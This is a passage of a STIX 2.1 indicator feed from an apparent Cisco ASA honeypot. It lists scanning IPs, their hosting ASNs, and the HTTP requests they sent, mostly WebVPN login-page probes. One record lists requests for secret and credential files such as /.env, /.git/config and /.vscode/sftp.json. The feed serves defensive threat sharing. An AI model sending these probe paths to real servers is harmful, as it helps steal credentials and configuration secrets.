      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '167.99.237.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T02:20:10.000Z",
      "valid_until": "2026-06-09T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-08T02:15:04.155Z",
          "last_seen": "2026-05-08T02:15:04.155Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"GET /.env HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 207990 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--727e148d-5b7c-4bba-a394-71c83753a4b2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.141.119.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T02:20:10.000Z",
      "valid_until": "2026-06-09T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-08T01:27:11.839Z",
          "last_seen": "2026-05-26T02:37:12.369Z",
          "country": "United States",
          "country_code": "US",
          "asn": 207990,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--d6e3731c-fef2-46dd-b4f6-90132d6f694e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.69.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T02:20:10.000Z",
      "valid_until": "2026-06-09T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-08T01:45:19.433Z",
          "last_seen": "2026-05-08T01:45:28.436Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T02:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--9f6b9e19-c810-42a9-bb65-a47059f58656",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T02:20:10.000Z",
      "valid_until": "2026-06-09T02:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 30,
          "first_seen": "2026-05-08T01:35:22.452Z",
          "last_seen": "2026-05-30T10:25:39.965Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T03:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--7947c866-fb9d-4a6d-995b-ce36a12c734c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.112.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T03:20:05.000Z",
      "valid_until": "2026-06-09T03:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-08T02:39:33.813Z",
          "last_seen": "2026-05-08T02:39:43.338Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T03:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--42260b7b-5447-48f6-a9ec-ef730007de4b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.74.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T03:20:05.000Z",
      "valid_until": "2026-06-09T03:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-08T03:15:28.526Z",
          "last_seen": "2026-05-23T02:47:58.322Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T03:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--23a018f1-6510-446f-9efb-99646a7d0449",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.77.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T03:20:05.000Z",
      "valid_until": "2026-06-09T03:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-08T03:16:44.126Z",
          "last_seen": "2026-05-08T03:16:52.945Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T03:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--94a7dd90-10e5-49d3-ae27-9773d94376f0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T03:20:05.000Z",
      "valid_until": "2026-06-09T03:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 6,
          "first_seen": "2026-05-08T02:58:49.619Z",
          "last_seen": "2026-05-08T02:59:26.430Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T03:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--bea21c94-e227-46b5-a454-b746620f31be",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T03:20:05.000Z",
      "valid_until": "2026-06-09T03:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 39,
          "first_seen": "2026-05-08T03:04:17.549Z",
          "last_seen": "2026-05-27T02:51:23.818Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T04:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--a6f9d9e8-1795-491b-a924-3045fd70a41b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.106.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T04:20:13.000Z",
      "valid_until": "2026-06-09T04:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 3,
          "first_seen": "2026-05-08T04:09:34.714Z",
          "last_seen": "2026-05-08T04:09:43.814Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T05:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--a7c1354c-2af6-4f7c-91dd-b32374ab9633",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.95.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T05:20:10.000Z",
      "valid_until": "2026-06-09T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-08T04:39:40.131Z",
          "last_seen": "2026-05-27T03:29:38.997Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T06:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: OPTIONS sip:172.105.186.117 SIP/2.0\" 400 - geo: HK; ASN 23470 (ReliableSite.Net LLC)",
      "id": "indicator--d96b756b-638e-4b06-b5ef-e809ac7851db",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.243.5.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T06:20:11.000Z",
      "valid_until": "2026-06-09T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-08T05:22:48.265Z",
          "last_seen": "2026-05-08T05:22:48.266Z",
          "country": "Hong Kong",
          "country_code": "HK",
          "asn": 23470,
          "as_org": "ReliableSite.Net LLC",
          "event_types": [
            "\"OPTIONS sip:172.105.186.117 SIP/2.0\" 400 -",
            "code 400"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T08:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: CA; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--10875952-5b9e-4545-b245-decf205d7e91",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '143.110.213.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T08:20:11.000Z",
      "valid_until": "2026-06-09T08:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 44,
          "first_seen": "2026-05-08T07:38:54.480Z",
          "last_seen": "2026-05-08T07:39:55.233Z",
          "country": "Canada",
          "country_code": "CA",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /.DS_Store HTTP/1.1\" 404 -",
            "\"GET /.env HTTP/1.1\" 404 -",
            "\"GET /.git/config HTTP/1.1\" 404 -",
            "\"GET /.vscode/sftp.json HTTP/1.1\" 404 -",
            "\"GET /.well-known/security.txt HTTP/1.1\" 404 -",
            "\"GET /?rest_route=/wp/v2/users/ HTTP/1.1\" 404 -",
            "\"GET /@vite/env HTTP/1.1\" 404 -",
            "\"GET /___proxy_subdomain_cpanel HTTP/1.1\" 404 -",
            "\"GET /___proxy_subdomain_whm/login HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: NL; ASN 215747 (NubaCloud B.V.)",
      "id": "indicator--dc8a31e2-e60a-4226-b325-559223f34533",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.189.182.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T09:20:10.000Z",
      "valid_until": "2026-06-09T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-08T09:07:35.342Z",
          "last_seen": "2026-05-09T07:52:53.996Z",
          "country": "Netherlands",
          "country_code": "NL",
          "asn": 215747,
          "as_org": "NubaCloud B.V.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /977711658 HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: KR; ASN 31898 (Oracle Corporation)",
      "id": "indicator--af4530c4-650a-44a0-96a2-9c2c6e8f7249",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '193.123.254.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T09:20:10.000Z",
      "valid_until": "2026-06-09T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 4,
          "first_seen": "2026-05-08T08:35:11.158Z",
          "last_seen": "2026-05-08T08:35:19.305Z",
          "country": "South Korea",
          "country_code": "KR",
          "asn": 31898,
          "as_org": "Oracle Corporation",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: SE; ASN 39351 (31173 Services AB)",
      "id": "indicator--b2dbbf7c-3ddb-4259-a875-2a744ce13949",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '141.98.255.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T11:20:10.000Z",
      "valid_until": "2026-06-09T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 45,
          "first_seen": "2026-05-08T10:44:05.922Z",
          "last_seen": "2026-05-29T19:08:00.544Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 39351,
          "as_org": "31173 Services AB",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--0483a908-9e4b-4ba2-b286-d59cf0d018e9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '149.40.50.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T11:20:10.000Z",
      "valid_until": "2026-06-09T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 16,
          "first_seen": "2026-05-08T10:44:46.309Z",
          "last_seen": "2026-05-29T11:31:13.425Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: SE; ASN 212238 (Datacamp Limited)",
      "id": "indicator--0e779a47-3901-421b-8d25-23ceace551b4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '170.62.100.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T11:20:10.000Z",
      "valid_until": "2026-06-09T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 90,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 171,
          "first_seen": "2026-05-08T11:01:37.725Z",
          "last_seen": "2026-05-31T01:29:31.783Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--44c9beeb-69dc-47f0-b1e1-e8f9c700ad36",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '216.218.206.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T11:20:10.000Z",
      "valid_until": "2026-06-09T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-08T10:37:29.145Z",
          "last_seen": "2026-05-08T10:37:29.145Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--fb1b2618-9e34-4e73-816d-3f334fe40ddf",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '216.218.206.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T11:20:10.000Z",
      "valid_until": "2026-06-09T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-08T10:36:13.188Z",
          "last_seen": "2026-05-08T10:36:13.188Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-08T11:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--3afd817f-ab2b-4f9d-9aaa-4f65bdbd59c5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '216.218.206.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T11:20:10.000Z",
      "valid_until": "2026-06-09T11:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
